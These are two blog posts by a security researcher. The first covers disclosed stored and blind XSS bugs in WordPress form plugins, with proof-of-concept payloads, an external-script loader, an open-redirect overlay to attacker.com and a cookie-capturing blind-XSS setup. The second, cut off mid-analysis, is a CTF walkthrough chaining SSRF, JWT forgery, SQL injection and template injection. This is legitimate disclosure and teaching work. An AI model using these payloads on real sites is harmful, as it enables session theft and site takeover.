I needed access to the admin area to establish a reverse shell or web shell. However, gaining access to the admin area usually required obtaining admin cookies, which were often linked to cross-site scripting, more precisely, <strong>Blind Stored Cross-Site Scripting</strong> via a contact form.</p><p>Blind XSS has always intrigued me, but I haven’t taken the time to set everything up properly to conduct some tests. This presented a great opportunity to enhance my skills with this type of bug.</p><p>Furthermore, WordPress does not explicitly set HTTPOnly and Content Security Policy (CSP) headers by default, potentially simplifying my research on XSS vulnerabilities.</p><p>At that point, I had pinpointed the focus of my research:</p><blockquote>“Focus on WordPress contact form plugins that allow an unauthenticated user to submit a form, and attempt to trigger a blind XSS.”</blockquote><p>With that in mind, it was time to conduct some preliminary research. WordPress has a ton of plugins, and I didn’t have the luxury of time to examine them all. I was conducting this research in my spare time, and the Wordfence bug bounty incentive was available for a limited period. Essentially, I had just <strong>five days</strong> to identify and report any bug.</p><p>Aware of these time constraints, I needed to approach this efficiently. When installing WordPress plugins, you have access to the source code of the plugin or theme. However, conducting a source code review can be incredibly time-consuming. Given that I had a specific attack vector in mind, I decided to jump straight into dynamic analysis.</p><p>My initial approach was as follows:</p><ol><li>List and identify the most well-known contact form plugins on WordPress.</li><li>Set up my lab environment.</li><li>Install and test the forms in my lab environment to identify potential blind injections.</li><li>Report any discovered vulnerabilities.</li></ol><p>For each plugin, I executed a similar test: I installed the plugin, created a new contact form, embedded it into a page or post, and then tested it as an unauthenticated user to see if I could inject code upon submitting the form. As mentioned earlier, the objective was to achieve a stored XSS to access the admin session.</p><p>During this process, I identified three types of vulnerabilities: Authenticated Stored XSS, Unauthenticated Blind HTML Injection, and Unauthenticated Blind XSS.</p><p>At the end of the 5th day, I identified the following vulnerabilities:</p><ul><li><strong>CVE-2023–6828</strong> | ARForms &lt;= 1.5.8 — Unauthenticated Stored Cross-Site Scripting</li><li><strong>CVE-2023–6842</strong> | Formidable Forms &lt;= 6.7 — Authenticated (Administrator+) Stored Cross-Site Scripting</li><li><strong>CVE-2023–6830</strong> | Formidable Forms &lt;= 6.7 — Unauthenticated HTML Injection</li><li><strong>CVE-2023–7063</strong> | WPForms Pro 1.8.4–1.8.5.3 — Unauthenticated Stored Cross-Site Scripting</li><li><strong>CVE-2023–6953</strong> | PDF Generator For Fluent Forms &lt;= 1.1.7 — Authenticated Stored Cross-Site Scripting</li><li><strong>CVE-2023–6957 </strong>| Fluent Forms &lt;= 5.1.9 — Authenticated (Contributor+) Stored Cross-Site Scripting</li><li><strong>CVE-2024–0386</strong> | weForms &lt;= 1.6.21 — Unauthenticated Stored Cross-Site Scripting</li></ul><p>Here are the current installation numbers for the plugins impacted by this research:</p><ul><li><strong>WPForms: </strong>6+ million =&gt; <a href="https://wordpress.org/plugins/wpforms-lite/">https://wordpress.org/plugins/wpforms-lite/</a></li><li><strong>Formidable Forms: </strong>400,000+ =&gt; <a href="https://wordpress.org/plugins/formidable/">https://wordpress.org/plugins/formidable/</a></li><li><strong>Fluent Forms: </strong>400,000+ =&gt; <a href="https://wordpress.org/plugins/fluentform/">https://wordpress.org/plugins/fluentform/</a></li><li><strong>weForms: </strong>20,000+<strong> =&gt; </strong><a href="https://wordpress.org/plugins/weforms/">https://wordpress.org/plugins/weforms/</a></li><li><strong>ARForms:</strong> 3,000<strong>+ =&gt; </strong><a href="https://wordpress.org/plugins/arforms-form-builder/">https://wordpress.org/plugins/arforms-form-builder/</a></li></ul><p>Combining all these plugins, we’re talking about an <strong>impact on more than 7 million websites</strong>.</p><p>In my opinion, this was the easiest part. Having a CVE is great, but finding vulnerabilities in real targets is far more thrilling. This was my next challenge.</p><p>I needed to turn to public bug bounty programs to find targets to exploit these vulnerabilities. If you know me, you know I participate in private and public bug bounty programs. However, my approach to hunting isn’t heavily reliant on reconnaissance and automation. Instead, I prefer to delve deeply into the application&#39;s functionalities and try to uncover bugs in that manner.</p><p>Indeed, having those CVEs meant that I didn’t need to find the bug again, but rather, I needed to identify the targets impacted by those vulnerabilities.</p><p>At this stage, I had<strong> two options</strong>:</p><ol><li>Doing the whole reconnaissance myself</li><li>Asking someone for help who already has an automated process for this.</li></ol><p>As I want to improve several aspects of my reconnaissance skills, I first tried automating everything myself. To accomplish this, I did the following.</p><p><strong>Step 1</strong>: First, I needed to gather all the domains and subdomains associated with public bug bounty programs from popular platforms like HackerOne, Bugcrowd, Intigriti, YesWeHack, and others. You can gather this information in different ways: Platform API, github repositories, subfinder, etc.</p><p><strong>Step 2</strong>: Next, I had to probe these domains and subdomains to identify which ones were running WordPress. To accomplish it, I used <a href="https://github.com/projectdiscovery/httpx"><strong>httpx</strong></a> (<a href="https://github.com/projectdiscovery/httpx">https://github.com/projectdiscovery/httpx</a>) from Project Discovery.</p><p><strong>Step 3: </strong>With the list of identified domains, I needed to find out which ones were using WordPress and if they had the affected plugin installed. For those that did, I then had to verify whether they were using the vulnerable versions of the plugin. To achieve this, I used a custom <a href="https://github.com/projectdiscovery/nuclei"><strong>nuclei</strong></a> (<a href="https://github.com/projectdiscovery/nuclei">https://github.com/projectdiscovery/nuclei</a>) template that I created.</p><p><strong>Step 4:</strong> If a website was running an impacted version, I had to execute another automation process to crawl all the pages and find all the forms locations, based on the indicators I had identified previously. This automation could be easily performed with <a href="https://github.com/projectdiscovery/katana"><strong>katana</strong></a> (<a href="https://github.com/projectdiscovery/katana">https://github.com/projectdiscovery/katana</a>).</p><p>Excellent. At that point, I had a list of targets that met all criteria: they had the plugin installed, it was an outdated version, and there were some accessible contact forms. These are precisely the conditions needed to send my payloads.</p><p>Then came another challenge. So far, during my tests, I could see the injection because I was logged in as an admin. In real-world scenarios, I wouldn’t have this visibility. Therefore, I needed a system to collect data from the blind injection.</p><p>Initially, I explored XSS Hunter. After installing it on a VPS and conducting some tests, it seemed to work quite well for basic tests.</p><blockquote>From now on the focus of this writeup will be the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-7063"><strong>CVE-2023–7063</strong></a>. Indeed, it’s impacting more than 6 million websites built in WordPress on its own.</blockquote><p>However, I encountered the biggest challenge of my research. The payload provided by XSS Hunter was far too large. Consequently, I had to think outside the box.</p><p>So far, my tests had only involved using simple payloads like <strong>alert(document.domain)</strong>, but for XSS Hunter, it was necessary to call an external JavaScript to extract some information required to prove the impact in my future bug bounty reports.</p><p>I experimented with multiple methods to reduce the payload size as much as possible. From the initial payload, I reduced the number of characters by two. However, it was still too large for the intended injection location, which had a maximum character limit of 65.</p><p>I almost gave up exploiting this bug. I thought:</p><blockquote>“Great, I’ve found a major bug in a popular plugin, but I can’t exploit it correctly.”</blockquote><p>Then, I decided to reach out to <a href="https://x.com/Rhynorater">Justin Gardner (Rhynorater)</a>. He probably knew some tricks I didn’t. Like a light at the end of the tunnel, he suggested using jQuery to call an external JavaScript. As if by magic, it worked, and I had a perfect payload that fit where I needed it to fit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*gIPd14yX8FO4v0fhFLUSjw.gif" /></figure><p>With the correct payload in hand, I attempted to inject it and waited for the callback on my XSS Hunter server. But you guessed it; there was a new problem…</p><p>I could see some interactions with XSS Hunter in the server logs, but it wasn’t capturing any information. The issue wasn’t with XSS Hunter, as it worked correctly when used in another location. The problem arose when it was executing in the location where the payload was triggering.</p><p>I attempted to host a basic JavaScript file with the alert(1) command only to confirm that it triggered it correctly, and it did without any issues. Therefore, the problem wasn’t with the payload but with the information that XSS Hunter was trying to extract.</p><p>I tried a bit to debug XSS Hunter, but it took too long. Recognizing this issue, I realized that it would be more efficient if I created my own script and system to extract the necessary information needed to put in my future reports.</p><p>Whilst analyzing the standard output from XSS Hunter, I identified the following information: cookies, IP address, date, and URL path.</p><p>To provide a more comprehensive report, I believe it would be a great idea to include the name of the contact form. With this additional information, I could demonstrate the impact of the Cross-Site Scripting effectively and thus showcase that, through my exploit, I had complete control over the victim’s session.</p><p>I created a basic JavaScript file and a PHP script to exfiltrate, parse, and save the data in the desired format.</p><p>By then, everything was functioning as intended, but something was bothering me. Since it’s a blind injection, I had no idea when it would be triggered. I didn’t want to manually check my output file daily to see if there were new entries. So, I created a small Python script that continuously monitored the output file for new entries. If a new entry were detected, it would then send me a notification on Telegram. With this automation in place, I knew I had everything configured to exploit this vulnerability effectively.</p><p>A few paragraphs above, I described how I automated the recon process myself. This was my first method of finding targets with the impacted CVEs. The second method I applied was reaching out to my network.</p><p>For this, I reached out to <a href="https://x.com/Rhynorater">Justin</a>. He connected me with <a href="https://x.com/galnagli">Nagli</a>, who has an excellent automation system. Since I had already created the full automation on my end, all I needed from Nagli was potential new targets. I shared my Nuclei template with him, which he could run to identify targets and then provide them to me.</p><p>This approach was beneficial. Although it meant sharing the bounties, it was fair since they helped me identify additional targets that my own reconnaissance automation couldn’t access. This collab resulted in a <strong>$2,500</strong> bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*7aeLrWP7tJQBQzAcesA9PQ.png" /></figure><p>The process of finding the 0day, reporting, patching, and implementing the system to capture the correct information from the blind injection took around four weeks.</p><p>Here is the summary of the whole process:</p><ol><li>Defined the scope of my research.</li><li>Compiled a shortlist of plugins to test.</li><li>Conducted hands-on testing.</li><li>Reported findings to Wordfence for validation and CVE assignment.</li><li>Waited for the vendor to patch the bug.</li><li>Established a scalable reconnaissance system to identify affected targets.</li><li>Implemented a platform to capture information from blind injections.</li><li>Once authorized, send the payload to vulnerable systems.</li><li>Reported findings to bug bounty platforms.</li></ol><p>To conclude, here are the PoC for each one of the CVEs identified during this research:</p><h3><strong>CVE-2023–6828 — ARForms &lt;= 1.5.8 — Unauthenticated Blind Stored Cross-Site Scripting</strong></h3><p>ARForms <strong>= 1.5.8 is susceptible to an unauthenticated blind-stored</strong> Cross-Site Scripting (XSS) vulnerability. This issue arises when an attacker injects malicious JavaScript code into the <strong>arf_http_referrer_url</strong> parameter in a POST request during form submission.</p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/arforms-form-builder/arforms-158-unauthenticated-stored-cross-site-scripting-via-arf-http-referrer-url">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/arforms-form-builder/arforms-158-unauthenticated-stored-cross-site-scripting-via-arf-http-referrer-url</a></p><p><strong>Payload:</strong></p><pre>&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><h3><strong>CVE-2023–6842 — Formidable Forms &lt;= 6.7 — Authenticated (Administrator+) Stored Cross-Site Scripting</strong></h3><p>There is a stored XSS in the Formidable Forms <strong>&lt;= 6.7</strong> in WordPress Plugin. When creating a form, any authenticated user (administrator, or editor, author, contributor or subscriber who the admin granted permission to edit forms) could adapt the <strong>Field Label </strong>and <strong>Field Description.</strong></p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formidable/formidable-forms-67-authenticated-administrator-stored-cross-site-scripting">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formidable/formidable-forms-67-authenticated-administrator-stored-cross-site-scripting</a></p><p>The attacker could inject the following payload on one of those fields:</p><pre>&lt;img/src/onerror=alert(document.domain)&gt;</pre><p>The stored XSS can be triggered in three ways (three different sinks according to the user role who injected the malicious code):</p><p>1 — Form edition: when the victim clicks on the Field to adapt, and then clicks on the Field Label, the XSS triggers. (All user levels can perform this attack)</p><p>2 — When the victim goes to the Styles area, the XSS triggers without any user interaction (Only when an administrator or editor injects the payload).</p><p>3 — When the form is used in a Post or Page. (Only when an administrator or editor injects the payload).</p><p><strong>Note 1:</strong> <strong>Field Label</strong> -&gt; To trigger a stored XSS, subscribers, contributors, or authors (as attackers) need to use the following payload due to the data validation and sanitization that happens for those user permissions.</p><pre>&lt;img/s&lt;script&gt;rc&lt;script&gt;/oner&lt;script&gt;ror=prompt(8)&gt;</pre><p><strong>Note 2:</strong> <strong>Field Description -&gt; </strong>subscriber, contributor or author users cannot inject the previous payload into the Field Description.</p><p><strong>Note 3: </strong>Even if low-level users (author, contributor or subscriber) have some constraints to inject JavaScript code, they can inject any HTML code into those fields and the data validation and sanitization won’t remove it.</p><h3><strong>CVE-2023–6830 — Formidable Forms &lt;= 6.7 — Unauthenticated HTML Injection</strong></h3><p>The Formidable Forms plugin <strong>&lt;= 6.7 </strong>is found to be susceptible to HTML injection attacks. This vulnerability allows unauthenticated users to inject arbitrary HTML code into form fields. When the form data is viewed by an administrator in the Entries View Page, the injected HTML code is rendered, potentially leading to website defacement or redirection to malicious websites.</p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formidable/formidable-forms-67-html-injection">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formidable/formidable-forms-67-html-injection</a></p><p><strong>Payload to perform an open redirect:</strong></p><pre>&lt;a href=&quot;http://attacker.com&quot; style=&quot;display: block; z-index: 100000; opacity: 0.5; position: fixed; top: 0px; left: 0; width: 1000000px; height: 100000px; background-color: red;&quot;&gt; &lt;/a&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*FtGrAdDHxUVIaGqtsStUuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*pK4cYMQGhqT9hUoOe3P4RA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*w3z1wehhr1VrfXPRSd9Ssw.png" /></figure><p>As soon as the victim clicks anywhere on the red screen, they are redirected to our controlled website. Of course, in a real scenario, the attacker wouldn’t use a red background.😅</p><h3><strong>CVE-2023–7063 — WPForms Pro 1.8.4–1.8.5.3 — Unauthenticated Stored Cross-Site Scripting</strong></h3><p>WPForms (version 1.8.5.3) is susceptible to a critical security vulnerability. This vulnerability allows unauthenticated users to perform a Unauthenticated Blind Stored Cross-Site Scripting (XSS) attack. The issue arises when an attacker submits a form containing malicious HTML code. This injected code remains dormant until a privileged user, such as an administrator, editor, author, or contributor, accesses the Entries page of the form. Upon opening the Entries page for the affected form, the stored XSS payload is executed, potentially leading to unauthorized actions being performed or sensitive data being compromised.</p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforms/wpforms-pro-1853-unauthenticated-stored-cross-site-scripting-via-form-submission">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforms/wpforms-pro-1853-unauthenticated-stored-cross-site-scripting-via-form-submission</a></p><p><strong>Payload (of PoC): </strong>&lt;img/src=x onerror=”alert(1)</p><pre>&lt;img/src=x onerror=&quot;alert(1)</pre><p><strong>Payload to load an external JavaScript file:</strong></p><pre>&lt;svg/onload=&quot;jQuery.getScript(&#39;https://xx.xx&#39;)</pre><p>Injecting Payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*UYvEiOMEVQZiH_BpqSjD2A.png" /></figure><p>As soon as the victim clicks on “Entries” to view all entries, or to view the entries of a specific form, the dormant XSS will be triggered on the preview page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*QWEoTgw9VbkfAd2LYvmgyg.png" /></figure><p><strong>Preview page:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*yUVCDoZsp1p2uUDVs_qJ3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*JaYzAH184f7V__du7W8pHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*zKuGleVAPTVMjiOFTVxrlA.png" /></figure><h3><strong>CVE-2023–6953 — PDF Generator For Fluent Forms &lt;= 1.1.7 — Authenticated Stored Cross-Site Scripting</strong></h3><p>The Fluent Forms WordPress plugin (&lt;= 5.1.5) contains a Stored Cross-Site Scripting (XSS) vulnerability within its PDF Feed feature. This vulnerability is present in the “<strong>Settings &amp; Integration</strong>” area of the plugin. Users with authorization to create forms, such as those with ‘author’, ‘contributor’ or ‘editor’ privileges, can exploit this vulnerability. The attack vector involves injecting malicious JavaScript payloads into various text fields while editing a PDF Feed. The fields susceptible to this injection are the <strong>Header Content</strong>, <strong>PDF Body Content</strong> and <strong>Footer Content</strong>. When another user, such as an administrator, opens the affected PDF Feed for editing, the malicious script is executed, leading to the Stored XSS condition.</p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentforms-pdf/pdf-generator-for-fluent-forms-117-cross-site-scripting">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentforms-pdf/pdf-generator-for-fluent-forms-117-cross-site-scripting</a></p><p><strong>Payload Used:</strong></p><pre>&lt;EMBED SRC=&quot;data:image/svg+xml;base64, PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD48L3N2Zz4=&quot; type=&quot;image/svg+xml&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</pre><h3><strong>CVE-2023–6957 — Fluent Forms &lt;= 5.1.9 — Authenticated (Contributor+) Stored Cross-Site Scripting</strong></h3><p>Fluent Forms WordPress Plugin version 5.1.5 has been identified as being vulnerable to stored cross-site scripting (XSS). The vulnerability arises due to inadequate sanitization of user inputs in the “Custom HTML” field. This security flaw allows users with specific roles (Administrator, Editor, Author, Contributor) and sufficient permissions to inject malicious JavaScript code. The injected script is executed when a victim accesses the malicious form, leading to a potential compromise of session information or other malicious activities.</p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentform/fluent-forms-519-authenticated-contributor-stored-cross-site-scripting">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentform/fluent-forms-519-authenticated-contributor-stored-cross-site-scripting</a></p><p><strong>Vulnerable Location:</strong> Fluent Forms Plugin &gt; Custom HTML Field</p><p><strong>Vulnerable Parameter:</strong> Text option in HTML Code Editor</p><p><strong>Payload:</strong></p><pre>&lt;iframe srcdoc=&#39;&amp;lt;body onload=prompt&amp;lpar;document.domain&amp;rpar;&amp;gt;&#39;&gt;</pre><h3><strong>CVE-2024–0386 — weForms &lt;= 1.6.21 — Unauthenticated Stored Cross-Site Scripting</strong></h3><p>The WordPress plugin ‘weForms’ is found to be vulnerable to an Unauthenticated Stored Cross-Site Scripting (XSS) attack. This vulnerability arises when an attacker submits the contact form and maliciously modifies the<strong> ‘Referer’ HTTP header</strong>. Instead of a legitimate referer URL, the attacker injects a JavaScript payload, such as “<strong>javascript:alert(1)</strong>”. This payload is then stored in the backend. When an admin views the entry and clicks on the referer URL, the injected script is executed, leading to the Stored XSS attack. This vulnerability allows the attacker to perform blind XSS injections without authentication.</p><p><strong>Reference: </strong><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/weforms/weforms-1621-unauthenticated-stored-cross-site-scripting-via-referer">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/weforms/weforms-1621-unauthenticated-stored-cross-site-scripting-via-referer</a></p><p><strong>Payload used in the HTTP header Referer when submitting a form:</strong></p><pre>javascript:alert(1)</pre><p>I hope you enjoyed this write-up. My main goal was to explain the entire process of 0-day research rather than just the bug itself. I strongly believe this could be helpful for those new to security research.</p><p>Feel free to contact me with any questions. You can find me on <a href="https://x.com/dropn0w">Twitter</a> or <a href="https://www.linkedin.com/in/pedropaniago/">LinkedIn</a>.</p><p><strong>Twitter</strong>: <a href="https://x.com/dropn0w">@dropn0w</a></p><p><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/pedropaniago/">Pedro Paniago</a></p><p>Keep learning, keep hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30f6111dfebf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blueprint Heist — HTB Business CTF 2024]]></title>
            <link>https://dropn0w.medium.com/blueprint-heist-htb-business-ctf-2024-2f8ff3e6ad51?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f8ff3e6ad51</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Thu, 23 May 2024 16:30:54 GMT</pubDate>
            <atom:updated>2024-05-23T16:30:54.780Z</atom:updated>
            <content:encoded><![CDATA[<h3>Blueprint Heist — HTB Business CTF 2024</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qa1MJPlR2vrhd4sh7-vrrQ.png" /></figure><p><strong>CTF EVENT: </strong>HTB Business CTF 2024</p><p><strong>DIFFICULTY</strong>: Medium</p><p><strong>CATEGORY:</strong> Web</p><p><strong>POINTS</strong>: 350</p><h4>Intro</h4><p>In the HTB Business CTF 2024, HackTheBox presented a very interesting web challenge that required me to spend a significant amount of time understanding all its aspects to retrieve the flag. We needed to chain multiple vulnerabilities in this challenge to access the flag.txt. Here is a quick summary of the steps we needed to follow:</p><ol><li>Exploit SSRF via PDF generation to read system files, leaking the .env file containing the secret used to sign JWT tokens.</li><li>Forge a JWT admin token to interact with admin functionality.</li><li>Use SSRF to bypass the 127.0.0.1 restriction.</li><li>Exploit a GraphQL SQL injection to create a file in the system with a regex bypass.</li><li>Abuse arbitrary error template creation to exploit a Server-Side Template Injection (SSTI), allowing the execution of a binary that will read a flag located in the root directory.</li></ol><p>In this write-up, I will describe exactly the approach we took to solve this challenge.</p><h4>Challenge description</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*wPV9hLn5kxubq9mDD3o8xg.png" /></figure><p>The challenge provides us with the source code of the application and the IP address to interact with the web application. Let’s start with a source code analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/190/1*4fya6N3Yz9onfD7xttuV8A.png" /></figure><p>The <strong>Dockerfile</strong> gives us precious information:</p><pre>FROM node:22<br><br># Install system packages<br>RUN apt-get update &amp;&amp; apt-get install -y \<br>    mariadb-client \<br>    mariadb-server \<br>    supervisor \<br>    xfonts-75dpi \<br>    xfonts-base \<br>    build-essential \<br>    &amp;&amp; rm -rf /var/lib/apt/lists/*<br><br>RUN wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.0g-2ubuntu4_amd64.deb &amp;&amp; \<br>    dpkg -i libssl1.1_1.1.0g-2ubuntu4_amd64.deb<br><br>RUN wget https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.5/wkhtmltox_0.12.5-1.buster_amd64.deb &amp;&amp; \<br>    dpkg -i wkhtmltox_0.12.5-1.buster_amd64.deb || true  &amp;&amp; \<br>    rm wkhtmltox_0.12.5-1.buster_amd64.deb<br><br>RUN mkdir /tmp/runtime &amp;&amp; \<br>    chown node:node /tmp/runtime &amp;&amp; \<br>    chmod 700 /tmp/runtime<br><br>RUN groupadd -r www &amp;&amp; useradd -m -r -g www www<br><br>ENV XDG_RUNTIME_DIR=/tmp/runtime<br><br>WORKDIR /app<br><br>COPY flag.txt /root/flag.txt<br><br>COPY config/supervisord.conf /etc/supervisord.conf<br><br>COPY database/db.sql /tmp/db.sql<br><br>COPY app /app<br><br>RUN npm install<br><br>RUN chown -R node:node /app/<br><br>EXPOSE 1337<br><br>COPY --chown=root entrypoint.sh /entrypoint.sh<br><br>RUN chmod 700 /entrypoint.sh<br><br># Setup readflag<br>COPY config/readflag.c /<br>RUN gcc -o /readflag /readflag.c &amp;&amp; chmod 4755 /readflag &amp;&amp; rm /readflag.c<br><br>ENTRYPOINT [&quot;/entrypoint.sh&quot;]</pre><ul><li>The application is using wkhtmltox 0.12.5. After a bit of Googling, we identified the following:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*uSlA-Hg2mb4rJThnX-wV5A.png" /></figure><p>So, there is likely an SSRF vulnerability that allows reading system files. We found this particular exploit: <a href="https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/">https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/</a>.</p><p><strong>Note:</strong> I quickly identified the SSRF via the PDF generator because HackTheBox used the same technique in one of the recent web challenges I solved.😅</p><ul><li>The application is running on Node.js</li><li>The <strong>flag.txt</strong> is located in the /<strong>root directory</strong>, so we need to have root level to read the flag.</li><li>There is a c binary /readflag with chmod 4755, which allows any user to execute this binary.</li></ul><h4><strong>db.sql Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAm-V5rcLBNRWcQQZAZn9w.png" /></figure><pre>GRANT ALL PRIVILEGES ON *.* TO &#39;root&#39;@&#39;%&#39; WITH GRANT OPTION;<br>FLUSH PRIVILEGES;</pre><p>Here, we can see that the database is running with high privileges (root is the DBA). This could allow us to <strong>read and write files to the system</strong> if we exploit an SQL injection.</p><h4><strong>readflag.c Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*kuZ5nECTJsMDmIWjZ6znMg.png" /></figure><p>Here, we see the C code of the binary before compilation. When executed, this C executable runs the command cat /root/flag.txt, allowing us to read the flag.</p><h4><strong>.env Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*ZeLe0glzJiqvqbL66p3kmA.png" /></figure><p>They put the<strong> secret</strong> inside the <strong>.env </strong>file. Later, we will see why this is important.</p><h4><strong>Views folder Analysis</strong></h4><p>Initially, this folder doesn’t seem interesting, BUT the views folder will become crucial later on.</p><h4><strong>utils/security.js Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*D6G6L0_ABbop0d4pN10ERA.png" /></figure><p>Here, we can detect a security issue. The first thing is the detectSqli() function, which uses a regex to check for particular inputs in the query. The second is the checkInternal() function, which checks if the connection comes from 127.0.0.1. We will need to bypass both of these filters. More details will be provided in the exploitation section.</p><h4><strong>/static/js/index.js Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*X6WAapjtGH4ZG3LASnlbLw.png" /></figure><ol><li>We see the /getToken endpoint. When we access this endpoint, it generates a JWT token.</li><li>We observe that there is a POST request to /download?token=&lt;TOKEN&gt;. It sends a POST request using the URL as a parameter in the body of the POST request.</li></ol><h4><strong>/static/js/admin.js Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02Kh4zcQgNiBRcZN3bR2TA.png" /></figure><p>In the admin.js, we observe the /graphql?token=&lt;TOKEN&gt; endpoint, where we can send a query to retrieve name, department, and isPresent. A few lines down, we observe the following code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*bQbmIwxTASh956v5kGL5IA.png" /></figure><p>We see that we can also send this GraphQL query with a specific parameter, username.</p><h4><strong>/app/schemas/schema.js Analysis</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C72bDNn4xk1Q04DGIj3nQw.png" /></figure><p>Here, we observe that this SQL query contains an SQL injection vulnerability in the name parameter.</p><h3><strong>/app/routes analysis</strong></h3><p>Inside the routes folder, we have two JavaScript files: internal.js and public.js.</p><h4><strong>public.js</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rphXDjfAobGUQrpdJe_nA.png" /></figure><p>The public.js file allows us to interact with the /getToken and /download endpoints as a guest user.</p><h4><strong>internal.js</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*KdKJnwWMFERMMquXqNWlvQ.png" /></figure><p>The internal.js file contains the /admin and /graphql endpoints, but we need to be an admin to interact with these endpoints.</p><p>At this point, we understood that we needed to create a token as a guest user (by accessing /getToken) and then forge another one as an admin user. To do this, we need to have the correct secret! (<strong>IMPORTANT!</strong>)</p><h3><strong>/app/controllers folder analysis</strong></h3><p>Inside the controller folder, we have three .js files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/1*D9aWZeehlT7Zznkvfui7og.png" /></figure><h4><strong>authController.js</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l82iuw9SuLsRr6RGo9PPUg.png" /></figure><p>authController.js deals with middleware authentication and the generation of the guest JWT token (when accessing the /getToken endpoint, remember?).</p><h4><strong>downloadController.js</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*4FjR1EdSPY88npNn7MjmZg.png" /></figure><p>downloadController.js deals with PDF generation. Here, we can see the application is loading wkhtmltopdf and creating a PDF from the URL sent in the POST request.</p><p>So, basically, in the POST request, there is a parameter url. We can put any URL in this parameter, such as https://google.com, and it will generate a PDF containing the page&#39;s content.</p><h4><strong>errorController.js</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsrYnKc9prlzvf10M-6jsA.png" /></figure><p>errorController.js has a particular behavior that we didn&#39;t initially understand. Essentially, it checks the HTTP status. If the HTTP status is between 400 and 600, it will load a view from the /views/errors folder (<strong>SUPER IMPORTANT FOR THE LAST STEP OF THE CHALLENGE</strong>). If the file corresponding to the error number does not exist, it will load the default view, which is error.ejs. This is a crucial detail that we didn&#39;t understand at first but will need to 